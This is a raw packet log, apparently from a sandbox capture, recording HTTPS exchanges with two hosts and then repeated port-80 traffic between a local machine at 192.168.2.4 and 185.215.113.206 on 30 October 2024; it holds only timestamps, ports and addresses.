Oct 30, 2024 02:27:24.158574104 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.158580065 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.205462933 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.211399078 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.211510897 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.211568117 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.211582899 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.216130972 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.216181993 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.216196060 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.220424891 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.220479012 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.220491886 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.229216099 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.229583025 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.229595900 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.238116980 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.238188028 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.238200903 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.246727943 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.246788025 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.246807098 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.249787092 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.249866009 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:24.251334906 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:24.251341105 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.251734972 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.252824068 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:24.272933006 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.272983074 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.272998095 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.295331001 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.314848900 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.326512098 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.326647043 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.326699972 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.326715946 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.331458092 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.331518888 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.331532955 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.335757971 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.335813999 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.335828066 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.344657898 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.344717979 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.344731092 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.353760004 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.353802919 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.353811979 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.362020016 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.362163067 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.362174034 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.370790958 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.370848894 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.370857000 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.423754930 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.423773050 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.441891909 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.441955090 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.441970110 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.442044973 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.445434093 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.445449114 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.450237989 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.450299978 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.450320959 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.452919006 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.452976942 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.452991009 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.466259003 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.466315985 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.466326952 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.470396042 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.470446110 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.470453024 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.480393887 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.480458021 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.480464935 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.502830982 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.502978086 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.503046989 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:24.503710032 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.503758907 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.503772974 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.504046917 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:24.504059076 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:24.548142910 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.558940887 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.559017897 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.559077978 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.559122086 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.559132099 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.559138060 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.559175014 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.565665007 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.565726042 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.565733910 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.569206953 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.569258928 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.569267035 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.581790924 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.581845045 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.581851959 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.585596085 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.585654974 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.585668087 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.597136974 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.597173929 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.597198963 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.597214937 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.597265005 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.619638920 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.673096895 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.673265934 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.673307896 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.673357010 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.673387051 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.673407078 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.673476934 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.690723896 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.690782070 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.690861940 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.690885067 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.690900087 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.690949917 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.695724964 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.695808887 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.696103096 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.696116924 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.699651003 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.699687004 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.699709892 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.699723005 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.699778080 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.699836016 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.699862003 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.699888945 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:25.630776882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:25.631022930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:25.637170076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:25.637223959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:25.637290001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:25.637487888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:25.637500048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:25.643826962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:25.643841982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:27.059696913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:27.059758902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:27.125731945 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:27.165361881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:27.165386915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:27.170821905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:27.170834064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:27.171029091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:27.952295065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:27.952359915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:27.966490984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:27.971790075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:28.749823093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:28.749938965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:29.089262962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:29.094638109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:29.872653961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:29.872720003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.084712029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.090095997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370419979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370450020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370460033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370477915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370481968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370491028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370513916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370533943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370539904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370544910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370554924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370573997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370583057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370596886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370903969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370929003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370939016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.370944023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370965958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.370975018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.371458054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.371501923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.371505022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.371516943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.371540070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.371550083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.375807047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.375901937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532215118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532252073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532262087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532285929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532290936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532298088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532309055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532332897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532346010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532370090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532598019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532646894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532649040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532660961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532685995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532701969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.532702923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.532737970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533075094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533113003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533123016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533134937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533158064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533170938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533204079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533215046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533238888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533246994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533267021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533279896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533858061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533869982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533879042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533891916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.533907890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.533937931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.649637938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.649658918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.649668932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.649729967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.649756908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.649801970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.649849892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.649889946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.649921894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.649960041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694067001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694097996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694107056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694128990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694144011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694165945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694209099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694227934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694264889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694273949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694304943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694334984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694345951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694382906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694780111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694789886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694833040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694868088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694911957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694924116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694941044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.694967985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694982052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.694993019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.695030928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.767159939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767204046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767215967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767369032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.767369032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.767853975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767901897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767910957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.767937899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.767955065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767967939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.767993927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.768007994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.768027067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.768074036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.811491966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811503887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811513901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811549902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811570883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.811602116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.811659098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811709881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.811753988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811765909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811815023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.811857939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811870098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811881065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.811907053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.811933041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.812228918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.812275887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.812278032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.812288046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.812314034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.812386990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.812398911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.812417030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.812427998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.884716034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884731054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884742022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884804964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884812117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.884818077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884857893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.884874105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.884895086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884934902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.884955883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884972095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.884995937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.885008097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.930919886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.930960894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.930974007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.930978060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931005001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931094885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931107044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931118965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931130886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931142092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931164026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931334972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931364059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931375980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931400061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931416035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931447029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931457996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931468964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:30.931492090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:30.931516886 CET	49760	80	192.168.2.4	185.215.113.206
